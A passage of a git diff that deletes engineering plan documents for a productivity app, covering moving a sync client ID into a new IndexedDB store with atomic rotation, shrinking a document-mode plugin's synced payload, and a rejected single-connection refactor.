↔ op-log` coupling already exists via - `client-id.provider.ts`). Per "minimize changes / stay in scope" it is a - separate follow-up. `ClientIdService` stays in `core/util/` and imports the - `SUP_OPS` schema constants from `op-log/persistence/` (a layering smell, but - no lint rule forbids it and the provider already crosses that boundary). - -Net effect: roughly line-neutral versus today's `withRotation` machinery, but a -clear win in _conceptual_ complexity — cross-database two-phase commit is -replaced by a single in-transaction `put` plus a one-time idempotent copy. - -## Files touched - -| File | Change | -| --------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `src/app/op-log/persistence/db-keys.const.ts` | `DB_VERSION` 5→6; add `STORE_NAMES.CLIENT_ID` | -| `src/app/op-log/persistence/db-upgrade.ts` | Version 6 branch: create `client_id` store | -| `src/app/op-log/persistence/operation-log-store.service.ts` | `OpLogDB` schema entry; `client_id` `put` in `runDestructiveStateReplacement` + post-commit `clearCache()`; `_clearAllDataForTesting` | -| `src/app/core/util/generate-client-id.ts` | **New** — pure `generateClientId()` + `isValidClientIdFormat()` | -| `src/app/core/util/client-id.service.ts` | Rewritten in place — `SUP_OPS`-backed, inline one-time `pf` migration, error-aware resolver, no `withRotation` | -| `src/app/op-log/util/client-id.provider.ts` | Add `clearCache()` to the `ClientIdProvider` interface + factory; doc-note the migration side effect | -| `src/app/op-log/clean-slate/clean-slate.service.ts` | Rewrite: pure id gen, no `withRotation`, no cache handling | -| `src/app/op-log/backup/backup.service.ts` | Rewrite: pure id gen, no `withRotation`, no cache handling | -| `src/app/op-log/capture/operation-log.effects.ts` | `loadClientId() ?? generateNewClientId()` → `getOrGenerateClientId()` | -| `src/app/op-log/persistence/operation-log-migration.service.ts` | `generateNewClientId()` → `getOrGenerateClientId()` for the fallback only; **fix `:249` — stop logging the full clientId**. Clientid resolution otherwise unchanged. | -| `docs/sync-and-op-log/` | Note the clientId now lives in `SUP_OPS` v6 (per CLAUDE.md: op-log changes need doc updates) | -| Specs | see Step 6 | - -`LegacyPfDbService` is **not** modified or used by `ClientIdService` — see Step 4 -for why its error-swallowing `load()` is unsuitable here. - -## Step 1 — Schema bump - -### `db-keys.const.ts` - -```ts -export const DB_VERSION = 6; // was 5 - -export const STORE_NAMES = { - // ...existing... - /** Client ID - sync device identity (singleton, key = SINGLETON_KEY) */ - CLIENT_ID: 'client_id' as const, -} as const; -``` - -`SINGLETON_KEY = 'current'` is reused as the key. - -> **Hard pre-merge gate:** confirm no other in-flight PR also bumps `DB_VERSION` -> to 6. `db-upgrade.ts` runs exactly one callback per version transition; a -> collided version corrupts the `SUP_OPS` schema irrecoverably. - -### `db-upgrade.ts` - -```ts -// Version 6: Add client_id store for atomic clientId rotation. -// Consolidates the sync clientId from legacy 'pf' (key '__client_id_') into -// SUP_OPS so destructive-flow rotation joins runDestructiveStateReplacement's -// atomic transaction. See issue #7732. The runtime copy from 'pf' happens in -// ClientIdService (a versionchange tx cannot read another database). -if (oldVersion < 6) { - db.createObjectStore(STORE_NAMES.CLIENT_ID); -} -``` - -Keyless store (out-of-line key, like `vector_clock`). - -### `operation-log-store.service.ts` — `OpLogDB` schema - -```ts -[STORE_NAMES.CLIENT_ID]: { - key: string; // SINGLETON_KEY - value: string; // the clientId -}; -``` - -Add `STORE_NAMES.CLIENT_ID` to the `_clearAllDataForTesting()` store list and a -matching `.clear()`. (`ArchiveDBSchema` in `archive-store.service.ts` does _not_ -need the entry — that service never touches the store; the shared `runDbUpgrade` -still creates it.) - -## Step 2 — `generate-client-id.ts` (new pure util) - -Extract the existing pure generation logic out of `ClientIdService` into -`src/app/core/util/generate-client-id.ts`: - -```ts -/** Generates a compact client ID: {platform}_{4-char-base62}, e.g. "B_a7Kx". */ -export const generateClientId = (): string => { - /* _generateClientId body */ -}; - -/** True if the id matches a known valid format (legacy length>=10, or new). */ -export const isValidClientIdFormat = (id: unknown): id is string => { - /* ... */ -}; -``` - -`_getEnvironmentId` / `_generateBase62` move here as module-private helpers. -Pure, no DI, no I/O — unit-testable directly, and importable by the -destructive-flow callers (`op-log → core` is the legal dependency direction) -without going through the stateful service. `isValidClientIdFormat` is a type -guard so callers narrow `unknown` reads from IndexedDB cleanly. No external code -imports the current `private _isValidClientIdFormat`, so the extraction is clean. - -## Step 3 — `runDestructiveStateReplacement` joins the clientId write - -In `operation-log-store.service.ts`, in `runDestructiveStateReplacement` (~line -1584): - -- Add `STORE_NAMES.CLIENT_ID` to the `storeNames` array **unconditionally** - (~line 1597) — both callers always rotate; unlike the archive stores it is not - conditional. -- Inside the `try`, **before `await opsStore.clear()` (~line 1615)**, write the - clientId first: - - ```ts - await tx.objectStore(STORE_NAMES.CLIENT_ID).put(syncImportOp.clientId, SINGLETON_KEY); - ``` - - Use an inline `tx.objectStore(...)` call (the value is written once; no hoisted - handle needed). The rotated id is already on the op — no new parameter. - **First-in-tx is deliberate:** the interrupt tests inject failure into - `opsStore.add`; placing the `client_id` `put` first means that injected - failure occurs _after_ the `client_id` `put` is queued, so the abort genuinely - exercises "client_id put queued → tx aborts → `client_id` unchanged." - Atomicity itself is order-independent. - -- After `await tx.done` (~line 1654), invalidate the clientId cache so the next - read sees the rotated value: - - ```ts - this.clientIdProvider.clearCache(); - ``` - - `OperationLogStoreService` already injects `CLIENT_ID_PROVIDER`. Doing the - cache-clear _inside_ `runDestructiveStateReplacement`, bound to `tx.done`, - makes it impossible for a future edit to open a window between commit and - cache-clear. On `catch`/abort, `clearCache()` is not reached and the cache - correctly keeps the old id. - -- Replace the doc-comment paragraph about "Atomicity holds within the `SUP_OPS` - database only … callers own the clientId rollback" with: the clientId now - lives in `SUP_OPS` and rotates atomically with `OPS`/`STATE_CACHE`/`VECTOR_CLOCK`. - -## Step 4 — `ClientIdService` rewrite - -Rewritten **in place** at `src/app/core/util/client-id.service.ts` (no -relocation — decision 5). - -### Databases this service touches - -- **`SUP_OPS`** — an **independent connection** opened via the shared - `runDbUpgrade` + `DB_NAME`/`DB_VERSION`. Independent because - `OperationLogStoreService` injects `CLIENT_ID_PROVIDER` (→ `ClientIdService`), - so delegating back would be a DI cycle. Two same-origin connections to one - store are fine — IndexedDB serializes transactions across them. Register a - `'close'` handler (null the cached handle, reopen on next access — mirror - `OperationLogStoreService.init` at `:194-200`) and a `versionchange` handler - (`db.close()`) so a future v7 upgrade is not blocked. The open does **not** - replicate `OperationLogStoreService`'s heavy retry logic; a transient - `SUP_OPS` open failure surfaces as a thrown error (handled per the resolver - contract below). -- **`pf`** — opened **read-only, directly by this service**, per-call - (open-read-close, no cached handle). It is **not** routed through - `LegacyPfDbService`: that service's `load()`/`loadClientId()` _swallow_ - IndexedDB errors and return `null`, which makes "key genuinely absent" - indistinguishable from "read failed" — and that distinction is exactly what - decision 3 depends on. `ClientIdService`'s own `pf` read lets IndexedDB errors - **propagate**. (Opening a non-existent `pf` creates an empty one; this is - harmless and is already the current behavior.) - -### Final public surface - -```ts -loadClientId(): Promise // never throws; null on absence OR read failure -getOrGenerateClientId(): Promise // resolves, else generates; throws on read failure -persistClientId(id: string): Promise // legacy-migration genesis seed; validated; unconditional -clearCache(): void // invalidate the in-memory cache -``` - -`getOrGenerateClientId` and `loadClientId` keep their current names/signatures, -so `CLIENT_ID_PROVIDER` and its consumers are unaffected. `clearCache()` is -promoted from a test helper to a documented production method (used by -`runDestructiveStateReplacement`); its JSDoc must say so. - -**Deleted:** `withRotation`, `_restorePriorClientIdIfCurrentMatches`, -`_errorName`, `generateNewClientId`, and the in-service generation helpers -(moved to `generate-client-id.ts`). - -### `_resolve()` — the shared resolver (private) - -The one place that answers "what is this device's clientId, migrating it -forward if needed". **Read failures propagate; only a failed copy-forward is -swallowed.** - -``` -private async _resolve(): Promise { - const fromOps = await this._readSupOps(); // throws on IndexedDB read error - if (fromOps) return fromOps; - const fromPf = await this._readPf(); // throws on IndexedDB read error - if (!fromPf) return null; // reads succeeded -> confirmed: no id anywhere - try { - return await this._putClientIdIfAbsent(() => fromPf); - } catch { - // Copy-forward to SUP_OPS failed (quota, closed conn). The pf id is valid; - // return it and let a later launch retry the copy. Worst case: redundant copy. - return fromPf; - } -} -``` - -- `_readSupOps()` — open `SUP_OPS`, `get(client_id, SINGLETON_KEY)`, - `isValidClientIdFormat`-gate (invalid → `null`, never throw on bad _format_ — - issue #6197). IndexedDB _errors_ propagate. -- `_readPf()` — open `pf` read-only, read `__client_id_` then `CLIENT_ID`, - format-gate, return first valid or `null`. IndexedDB _errors_ propagate. - -> **`pf` key precedence.** `__client_id_` is the key `ClientIdService` has always -> operated on (every current `loadClientId()` reads it); on an op-log-era device -> it is the live identity. `CLIENT_ID` is the original PFAPI key, read only as a -> fallback to seed a legacy profile. On a legacy device migrating for the first -> time, `OperationLogMigrationService` resolves the genesis op from `CLIENT_ID` -> and `persistClientId` writes it **unconditionally** to `SUP_OPS` — so it wins -> over any `__client_id_`-derived copy, keeping the genesis op consistent with -> its `meta.vectorClock` (decision 4). - -### `_putClientIdIfAbsent(factory)` — shared single-tx CAS (private) - -``` -private async _putClientIdIfAbsent(factory: () => string | null): Promise { - const tx = supOpsDb.transaction(CLIENT_ID, 'readwrite'); - const raced = await tx.store.get(SINGLETON_KEY); - if (isValidClientIdFormat(raced)) { await tx.done; return raced; } - const next = factory(); - if (next) await tx.store.put(next, SINGLETON_KEY); - await tx.done; - return next; -} -``` - -The in-tx re-check is load-bearing: IndexedDB serializes same-store transactions -across same-origin connections, so a write that committed first (another tab's -generate, or a rotation) is observed by `raced` and **wins** — the helper never -clobbers it. Comment it as a _multi-tab / rotation_ guard. `persistClientId` and -`runDestructiveStateReplacement` are the two _unconditional_ writers (they know -the exact intended value); `_putClientIdIfAbsent` is the _establish-if-absent_ -writer — that asymmetry is deliberate. - -### `loadClientId()` — swallowing reader - -``` -if (_cachedClientId) return _cachedClientId; -try { - const id = await this._resolve(); - if (id) _cachedClientId = id; - return id; -} catch { - return null; // never throws — callers (hydrator, sync readers) tolerate null -} -``` - -The cache is the migration's memoization: once warm, `_resolve()` (and the `pf` -read) never run again. Concurrent first-launch callers may each run `_resolve()` -— harmless, `_putClientIdIfAbsent` is idempotent. - -### `getOrGenerateClientId()` — resolves or generates - -``` -if (_cachedClientId) return _cachedClientId; -const existing = await this._resolve(); // PROPAGATES read failures — does not swallow -if (existing) { _cachedClientId = existing; return existing; } -// Reads succeeded and confirmed empty everywhere -> safe to generate. -const id = await this._putClientIdIfAbsent(() => generateClientId()); -_cachedClientId = id; -return id; -``` - -If `_resolve()` throws (transient `SUP_OPS`/`pf` read failure), -`getOrGenerateClientId()` throws — it does **not** generate. This is the same -contract as today (`generateNewClientId` already throws on IDB failure); callers -(`operation-log.effects.ts:171-175`, and via the provider -`file-based-encryption.service.ts`, `snapshot-upload.service.ts`) already treat -a failed clientId resolution as fatal-and-retryable. - -### `persistClientId(id)` — legacy-migration genesis seed - -Validate format, **unconditionally** `put` into `SUP_OPS.client_id`, set the -cache. Unconditional (not CAS) because it carries the authoritative legacy -`CLIENT_ID` value that the genesis op is built from and must win over any -`__client_id_`-derived migration copy. No `pf` write. - -## Step 5 — Rewrite the callers - -### `clean-slate.service.ts` / `backup.service.ts` - -Both already rotate inside `lockService.request(LOCK_NAMES.OPERATION_LOG, …)`. -The rewrite — no `withRotation`, no try/catch, no cache handling: - -```ts -import { generateClientId } from '../../core/util/generate-client-id'; - -const newClientId = generateClientId(); // pure — persisted only inside the tx -const syncImportOp: Operation = { - /* ...clientId: newClientId... */ -}; -await this.opLogStore.runDestructiveStateReplacement({ syncImportOp /* ... */ }); -// runDestructiveStateReplacement committed the new clientId and cleared the -// cache; nothing else to do. On throw, the tx aborted and the old id stands. -``` - -Update the class/method doc comments that describe the cross-DB rollback. - -### `operation-log.effects.ts` - -Replace `loadClientId() ?? generateNewClientId()` (`:168-170`) with -`await this.clientIdService.getOrGenerateClientId()`. - -### `operation-log-migration.service.ts` - -Clientid resolution is **unchanged** (decision 4) — keep `:239` -(`loadMetaModel`), keep `legacyPfDb.loadClientId()` reading `CLIENT_ID`, keep -`persistClientId(legacyClientId)`. Two edits only: - -- `:241` fallback: `legacyClientId || generateNewClientId()` → - `legacyClientId ?? (await this.clientIdService.getOrGenerateClientId())` - (`generateNewClientId` is deleted; the fallback only fires when there is no - legacy identity to preserve, so generating is correct). -- `:249`: stop logging the literal clientId - (`OpLog.normal(\`...Using client ID: ${clientId}\`)`— a CLAUDE.md sync-rule-9 -violation, log history is user-exportable). Log a 3-char suffix only, -consistent with`clean-slate.service.ts`. Audit the remaining `OpLog` calls in - every touched file (spot-checked: the rest are already value-free). - -## Step 6 — Tests - -### `client-id.service.spec.ts` (rewritten, stays in `core/util/`) - -Drop all `withRotation` tests. Behavioral matrix: - -| Case | Expectation | -| ------------------------------------------------- | --------------------------------------------------------------------------------------------- | -| `SUP_OPS.client_id` populated | returned directly; `pf` not opened | -| `SUP_OPS` empty, `pf.__client_id_` valid | migrated into `SUP_OPS`; id unchanged | -| `SUP_OPS` empty, only `pf.CLIENT_ID` | migrated; covers the bridge-ordering gap | -| `SUP_OPS` empty, both `pf` keys valid and differ | `__client_id_` wins | -| `SUP_OPS` invalid format, `pf` valid | `pf` value wins, overwrites `SUP_OPS` | -| nothing anywhere | `loadClientId()` → `null`; `getOrGenerateClientId()` generates | -| multi-tab fresh generate | two `getOrGenerateClientId()` over one fake-IDB converge on one id | -| **`SUP_OPS` read throws** | `loadClientId()` → `null` (no throw); `getOrGenerateClientId()` **throws, does not generate** | -| **`pf` read throws** | same — `loadClientId()` → `null`; `getOrGenerateClientId()` throws, no generation | -| **migration copy-forward write fails (quota)** | `loadClientId()` & `getOrGenerateClientId()` return the `pf` id; no throw, no generation | -| `persistClientId` | unconditional `SUP_OPS` write; cache set; rejects invalid format | -| `generateClientId` / `isValidClientIdFormat` util | pure; correct format / guard | - -The three **bold** rows are the data-safety core — they prove a transient -IndexedDB failure cannot mint a new clientId. They must use a fake-IDB that can -be made to throw, not just be empty. - -### Destructive-flow atomicity - -`clean-slate-interrupt.integration.spec.ts` must be **extended**: seed -`SUP_OPS.client_id` with a valid-format id, run the existing `opsStore.add`-throw -interrupt, and assert `SUP_OPS.client_id` is unchanged after the abort (this is -the property `withRotation` used to provide by hand). Existing fixtures that seed -short ids like `'cPrior'` must switch to valid-format ids (`B_xxxx` / length ≥ -10), or the new format guard treats them as absent. - -### Other specs to update - -Grep `withRotation`, `generateNewClientId`, `persistClientId`. Known set: - -- **`withRotation` removed:** `clean-slate.service.spec.ts`, - `backup.service.spec.ts`, `clean-slate-interrupt.integration.spec.ts`, - `operation-log.effects.spec.ts` — delete `withRotation` mocks/expectations; - the `ClientIdService` spy surface becomes `getOrGenerateClientId` (+ no manual - cache handling — `runDestructiveStateReplacement` owns `clearCache`). -- **`generateNewClientId` removed:** `client-id.provider.spec.ts`, - `sync-hydration.service.spec.ts`, - `legacy-data-migration.integration.spec.ts` — remove it from - `jasmine.createSpyObj` arrays; `client-id.provider.spec.ts:15` assertion - dropped. -- **`operation-log-migration.service.spec.ts`:** `persistClientId` is **kept**, - so its tests at `:418`/`:434` largely stand; only swap the `generateNewClientId` - spy/`callFake` (incl. the manual logic at `:374-379`) for - `getOrGenerateClientId`. - -### Test teardown - -`_clearAllDataForTesting()` clears `SUP_OPS.client_id` but not -`ClientIdService._cachedClientId` (separate service/connection). Specs that clear -data then expect a fresh id must also call `clientIdService.clearCache()`. Most -`_clearAllDataForTesting()` callers never mint a clientId mid-test, so the blast -radius is small — but the relocated/rewritten spec and the caller specs must be -audited. - -## Risks & mitigations - -1. **Non-regenerable clientId (lead risk).** `pf` is never deleted or written. - `_resolve()` only ever _copies_; a failed copy still returns the valid `pf` - id. `getOrGenerateClientId()` generates **only** after reads succeed and - confirm absence everywhere — a transient failure throws, never generates. - Worst case is a redundant copy. -2. **No downgrade support.** Downgrading past v6 → `VersionError` → op-log dead - regardless of the clientId. True of every prior schema bump; not regressed, - not pretended-to-be-supported. No `pf` mirror. -3. **Init ordering.** Eliminated — `_resolve()` self-heals on first read. -4. **Multi-tab.** `_putClientIdIfAbsent`'s single-tx CAS converges concurrent - same-origin runs. Mixed-version tabs cannot serialize, but an old app post-v6 - has a `VersionError`'d op-log anyway — non-functional, not a data-loss path. -5. **Schema-upgrade coordination.** The new `ClientIdService` connection gets a - `versionchange` handler. The pre-existing absence of `versionchange` handlers - on `OperationLogStoreService`/`ArchiveStoreService` is **out of scope** — - adding them helps only future (v6→v7) upgrades, not this one, and is left as - a follow-up to keep this PR's diff minimal. -6. **Legacy genesis-op continuity.** `OperationLogMigrationService`'s clientId - resolution is unchanged (decision 4); the genesis op keeps using `CLIENT_ID`, - matching `meta.vectorClock`'s keys. - -## Out of scope / follow-ups - -The first three are tracked together in **#7735**: - -- Relocating `ClientIdService` to `op-log/util/` (a pure rename, ~12 import - sites) — separate PR. -- Adding `versionchange` handlers to `OperationLogStoreService` / - `ArchiveStoreService`. -- Breaking the `OperationLogStoreService` ↔ `CLIENT_ID_PROVIDER` DI cycle to - collapse onto one shared `SUP_OPS` connection. - -Not yet tracked: - -- Tightening `isValidClientIdFormat` (the legacy `length >= 10` branch accepts - almost any string) — pre-existing, not this PR. -- Deleting the `pf` database — it remains a read-only fallback. - -## Sequencing - -#7712 is merged. Land as a single PR: the schema bump, the service rewrite, and -the caller rewrites are interdependent and cannot be split safely. diff --git a/docs/plans/2026-05-22-document-mode-sync-data-model.md b/docs/plans/2026-05-22-document-mode-sync-data-model.md deleted file mode 100644 index bb3e32753e..0000000000 --- a/docs/plans/2026-05-22-document-mode-sync-data-model.md +++ /dev/null @@ -1,210 +0,0 @@ -# Document Mode — slimming the sync data model - -**Status:** proposal, revised after multi-review -**Date:** 2026-05-22 -**Branch:** `feat/how-fat-is-data-model-for-sync-for-new-fbd044` -**Follows:** [`2026-05-21-document-mode-tiptap-plugin.md`](./2026-05-21-document-mode-tiptap-plugin.md) -(the POC, which deliberately deferred a "keyed `persistDataSynced` API" — see its Limitations §) - -## Problem - -The document-mode plugin persists a **single blob** via `persistDataSynced`, -stored host-side as one `PluginUserData` entry keyed by **plugin id**: - -```jsonc -{ "version": 1, - "docs": { "": , ... }, // one doc per project/tag/TODAY - "enabledCtxIds": ["..."] } -``` - -Each save → `upsertPluginUserData` → **one op** (`entityType: PLUGIN_USER_DATA`, -`entityId: pluginId`, `opType: Update`) whose payload embeds the _entire_ `data` -string. Three problems compound: - -1. **Every op carries every context.** Typing one character in TODAY's doc - emits an op containing TODAY + every project doc + every tag doc. Throttled - ~once / 2 s while typing (`SAVE_THROTTLE_MS`; the host additionally coalesces - to ≤ 1 commit/s via `MIN_PLUGIN_PERSIST_INTERVAL_MS`). Hard cap 1 MB - (`MAX_PLUGIN_DATA_SIZE`) — above it the write throws. The op-log retains up - to `COMPACTION_THRESHOLD = 500` ops over a 7-day window, so each fat blob is - re-stored in IndexedDB and re-synced many times before compaction. - -2. **Each chip stores a redundant copy of the task title.** A `taskRef` / - `subTaskRef` chip persists the task title as inline text content plus an - `isDone` attr. But on load, `prepareStoredDoc` → `migrateStoredDoc` + - `refreshChipContentFromCache` **discard** the stored title/`isDone` and - re-derive both from the live task cache; the chip NodeView likewise "trusts - `task.isDone`, not the attr" (`task-ref-node.ts`). The stored title is dead - weight in the synced payload — often the byte-heavy, variable-length part of - a doc. Chip identity, order, and subtask membership are equally derived - (rebuilt from `ctx.taskIds` / `subTaskIds`; reorders round-trip through the - host — `reorderTasks` for PROJECT contexts, `ctx.taskIds` re-sort for - TODAY/TAG). So chips are reconstructable; only the **prose between them** is - plugin-owned. - -3. **Concurrent edits do not resolve cleanly.** `entityId` is the _plugin id_, - so all N documents collapse into one sync entity: device A editing project X - and device B editing project Y produce `CONCURRENT` vector clocks on the - _same entity_ → a conflict, even though they touched different documents. - Worse, `PLUGIN_USER_DATA` is registered as a **`virtual`** entity - (`entity-registry.ts`), and `ConflictResolutionService.getCurrentEntityState` - has **no `virtual` branch** — it returns `undefined`. So the LWW local-win - path (`_createLocalWinUpdateOp`) cannot read the entity and produces no - replacement op. LWW does not function correctly for `PLUGIN_USER_DATA`; - concurrent edits lose data, and not by a predictable last-writer-wins rule. - - _Note:_ even today a conflict that drops the blob only loses **prose** — on - reload chips are rebuilt from the host regardless. Problem 3 is therefore a - correctness gap, separate from problems 1–2 (size). - -## Goals - -1. Shrink the synced payload by removing the data the plugin redundantly stores. -2. No schema break — keep the change readable by both old and new clients. -3. No regression in load behaviour (chip order, prose anchoring, subtask - backfill, stale-chip handling all already covered by `doc-transform.spec.ts`). - -## Non-goals - -- **Fixing problem 3 now.** It needs host-side work (per-context entities _and_ - virtual-entity LWW support) and is deferred — see Future work. -- **Fine-grained concurrent editing of the same doc.** Two devices editing the - _same_ doc's prose will always resolve whole-doc; character-level merge needs - a CRDT (Yjs) and is out of scope. -- Removing the in-tree `src/app/features/document-mode/` feature. - -## Phase 1 — strip redundant chip content on save (plugin-local) - -The smallest change that fixes problems 1 & 2: stop persisting the title text -and `isDone` attr on chips. Store each chip as a **bare identity atom**: - -```jsonc -{ "type": "taskRef", "attrs": { "taskId": "" } } // no content, no isDone -``` - -The persisted doc stays an ordinary ProseMirror doc (`type: "doc"`, chips + -prose interleaved) — only the chip nodes get lighter. - -### Why this needs no schema bump and no migration - -`migrateStoredDoc` was _built_ to load atom-shaped chips ("Older docs stored -taskRef as an atom node (no `content` array)") — it backfills `content` from the -task cache and defaults `isDone`. `refreshChipContentFromCache` then overwrites -both unconditionally. So a bare-atom chip flows through the **existing, -unchanged** load pipeline correctly, and the change is **bidirectionally -compatible**: - -- A **v1 client** reading a Phase-1 blob: `migrateStoredDoc` backfills the - stripped chips — loads fine. No future-version guard tripped. -- A Phase-1 client reading a **legacy** blob: content-bearing chips pass through - `migrateStoredDoc` (`hasContent` true) and are refreshed as before. - -`STORAGE_VERSION` stays `1`. No per-entry migration, no cross-version handling, -no `background.ts` change. - -### The strip is applied only to the serialized copy - -`stripChipContent` operates on a **copy** — `editor.getJSON()` returns a fresh -object each call. The live `editor` document keeps its inline chip content, so -the title-editing path (`reconcileTitlesFromDoc`, which reads the _live_ doc) is -untouched. Only the bytes written to storage shrink. - -### Files - -| File | Change | -| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `src/doc-transform.ts` | Add pure `stripChipContent(doc): unknown` — walk content, replace each `taskRef`/`subTaskRef` node with `{ type, attrs: { taskId } }`, leave every other node (paragraphs, headings, lists — their text!) untouched. | -| `src/ui/editor.ts` | `flushSave` **and** `flushSaveSync` persist `stripChipContent(editor.getJSON())` instead of `editor.getJSON()`. No other change. | -| `src/doc-transform.spec.ts` | Test `stripChipContent` (chips emptied, prose intact); round-trip test (`stripChipContent` → `prepareStoredDoc` rebuilds full chips with titles); legacy content-bearing doc still loads. | -| `src/background.ts` | No change — it treats `docs` as opaque and only writes `enabledCtxIds`. | - -### Expected reduction - -A content-bearing chip with a typical title serialises to ~120–140 bytes; a -bare-atom chip is ~60–65 bytes (`taskId` is a 21-char nanoid). For a task-heavy -context (~60 chips) that is ~5 KB saved per doc; for a typical 5-context user -the per-op blob drops roughly 20 KB → ~12 KB. Multiplied across the op-log -retention window (up to 500 ops), that is a meaningful cut to IndexedDB volume -and sync transfer. Op _count_ is unchanged (the throttles are untouched) — this -is purely a per-op _size_ reduction. - -### Alternative considered — prose-only storage (rejected for now) - -A heavier option drops chips from storage entirely, persisting only -`{ leading, anchored }` prose blocks and regenerating chips on load. It saves a -further ~7 KB/op for the 5-context user, but needs two new transform functions, -a parallel data structure, a `STORAGE_VERSION` bump, per-entry v1→v2 migration, -cross-version handling, and a `background.ts` version-constant fix. For an -opt-in POC plugin that is disproportionate. Phase 1 (bare-atom chips) captures -the bulk of the win at a fraction of the surface; prose-only can be revisited -if telemetry shows the blob is still too fat. - ---- - -## Future work — per-context sync entities (host change, deferred) - -> Tracked as -> [super-productivity/super-productivity#7749](https://github.com/super-productivity/super-productivity/issues/7749) — -> Stage A (keyed plugin-persistence API for per-context sync entities). -> Multi-reviewed design lives in -> [`2026-05-23-stage-a-keyed-plugin-persistence.md`](./2026-05-23-stage-a-keyed-plugin-persistence.md). -> The summary below remains accurate for problem 3's host-side scope. - -This is the fix for **problem 3**. Deferred, not scheduled: document mode is -opt-in (users enable it per context) and Stage 0 already shipped, so the -size pressure is gone. Pick this up when cross-context conflicts are -observed in practice — see the linked plan for the full phased design. - -It is **larger than "add a `key` parameter"** — the multi-review surfaced the -full scope: - -1. **Plugin API** — add an optional `key` to `persistDataSynced` / - `loadSyncedData`, threaded through the _entire_ chain: `plugin-api/types.ts`, - `plugin-bridge.service.ts`, the iframe wrapper (`plugin-api.ts`), and the - iframe postMessage util (`plugin-iframe.util.ts`) — which currently drops a - second argument. -2. **Composite entity id** — `PluginUserData.id` becomes `pluginId:key` so each - `(plugin, context)` is its own sync entity; concurrent edits to different - contexts stop conflicting. -3. **Virtual-entity LWW** — _required, not optional._ Per-context entity ids do - **not** by themselves fix problem 3: `getCurrentEntityState` still has no - `virtual` branch, so same-context conflicts still mis-resolve. Conflict - resolution must learn to read a virtual entity (`PLUGIN_USER_DATA`) from - `selectPluginUserDataFeatureState`. -4. **Rate-limit & size-cap semantics** — `PluginUserPersistenceService` keys its - coalesce/throttle Maps by id; per-key keys weaken the per-plugin flood guard - (`MIN_PLUGIN_PERSIST_INTERVAL_MS`) and make `MAX_PLUGIN_DATA_SIZE` per-key. - Keep an additional per-_plugin_ aggregate cap so a many-keyed plugin cannot - bypass the limits. -5. **Uninstall cleanup** — `removePluginUserData(pluginId)` deletes only the - exact id; keyed entries `pluginId:*` would leak. Make deletion prefix-aware. -6. **`background.ts`** must move off the keyless API (e.g. `key: 'meta'` for - `enabledCtxIds`) or it desyncs from the editor's meta entity. -7. **Migration** — split the legacy single blob into per-key entities, one-time - and idempotent (guard on the meta key's existence). - -Residual after this work: concurrent edits to the **same** context still resolve -whole-doc — acceptable per Non-goals. - ---- - -## Risks - -| Risk | Mitigation | -| ------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `migrateStoredDoc` / `refreshChipContentFromCache` stop backfilling → stripped chips render empty | Both are existing load-pipeline invariants with spec coverage; add a round-trip test that a stripped doc rebuilds full chips. | -| Strip accidentally mutates the live editor doc or non-chip text | `stripChipContent` is pure and runs on the `getJSON()` copy; only `taskRef`/`subTaskRef` nodes are altered. Unit-test both. | -| A chip stripped to empty content is written back to the host as a title erasure | Cannot happen — write-back (`reconcileTitlesFromDoc`) reads the _live_ editor doc, which always has refreshed content; only the storage copy is stripped. | - -## Testing - -- `npm --prefix packages/plugin-dev/document-mode test` (esbuild + `node --test`). -- `npm run test:file packages/plugin-dev/document-mode/src/doc-transform.spec.ts`. -- Manual: type prose + toggle done states, reload, switch context and back — - chips show correct titles/done state, prose keeps its position. - -## Open question - -1. Phase 1 only, or schedule the Future-work block? Recommendation: Phase 1 now - (low-risk, no schema break); treat Future work as a documented known - limitation until the plugin is bundled by default. diff --git a/docs/plans/2026-05-22-supops-single-connection-alt.md b/docs/plans/2026-05-22-supops-single-connection-alt.md deleted file mode 100644 index 6983fb296e..0000000000 --- a/docs/plans/2026-05-22-supops-single-connection-alt.md +++ /dev/null @@ -1,197 +0,0 @@ -# Collapse `SUP_OPS` onto a single connection — Alternative (Plan B) - -**Issue:** #7735 — follow-up to #7732 / #7712 / #7709 -**Status:** ❌ **REJECTED** by a 4-agent evaluation (2026-05-22) in favour of -[`2026-05-22-supops-single-connection.md`](./2026-05-22-supops-single-connection.md) -(Plan A). Kept for the record. Reasons: (1) Plan B makes other services depend -on the 1,745-line `OperationLogStoreService` for a DB handle, cutting against -this codebase's small-leaf-service convention (`LockService` is the precedent -Plan A follows); (2) the `mergeRemoteOpClocks` signature change has a wide, -silent-failure-prone blast radius; (3) Step 2 below rests on a **factual error** -— see the ⚠️ correction inline. Plan A is lower-risk and architecturally -cleaner. Do not implement this plan. -**Prerequisite (hard gate):** #7732 merged to `master`. Not yet merged — see -Plan A for detail. - -## The core idea - -Plan A breaks the DI cycle by **adding** a new leaf service -(`SupOpsConnectionService`) that all three openers delegate to. - -Plan B breaks the cycle by **removing an edge** instead. The key fact, verified: - -> `OperationLogStoreService` injects **exactly one dependency** — -> `CLIENT_ID_PROVIDER` (`operation-log-store.service.ts:186`) — and uses it in -> **exactly two places**: `loadClientId()` in `mergeRemoteOpClocks()` (`:1417`) -> and `clearCache()` in `runDestructiveStateReplacement()` (`:1687`). - -Cut that one edge and `OperationLogStoreService` becomes a **dependency-free -leaf**. Once it is a leaf, `ClientIdService` (and optionally `ArchiveStoreService`) -can depend on it directly and **borrow its existing `SUP_OPS` connection** — no -new service, no cycle. `OperationLogStoreService` already owns the canonical -connection: the retry/backoff opener, `runDbUpgrade` wiring, the `OpLogDB` -schema type. Plan B reuses that owner instead of extracting a new one. - -## Why it is cycle-free (verified) - -- `OperationLogStoreService`'s only injected dependency is `CLIENT_ID_PROVIDER`. - After Steps 1–3 it injects nothing → it cannot be part of any cycle. -- `CLIENT_ID_PROVIDER` has **11 consumer services** (op-log persistence, op-log - sync, validation, `imex/sync`). Only `OperationLogStoreService` is in the - (prospective) cycle. The token is **kept unchanged** for the other 10; this - plan does not touch the `CLIENT_ID_PROVIDER` abstraction. -- The cycle #7735 describes is *prospective*, not current: post-#7732 - `ClientIdService` injects nothing. The cycle would only appear *if* - `ClientIdService` delegated DB access to `OperationLogStoreService` while the - latter still injected `CLIENT_ID_PROVIDER`. Plan B removes that edge first, so - the delegation becomes safe. - -## Steps - -### Step 1 — Make `mergeRemoteOpClocks` take the clientId as a parameter - -`mergeRemoteOpClocks(ops)` → `mergeRemoteOpClocks(ops, currentClientId: string 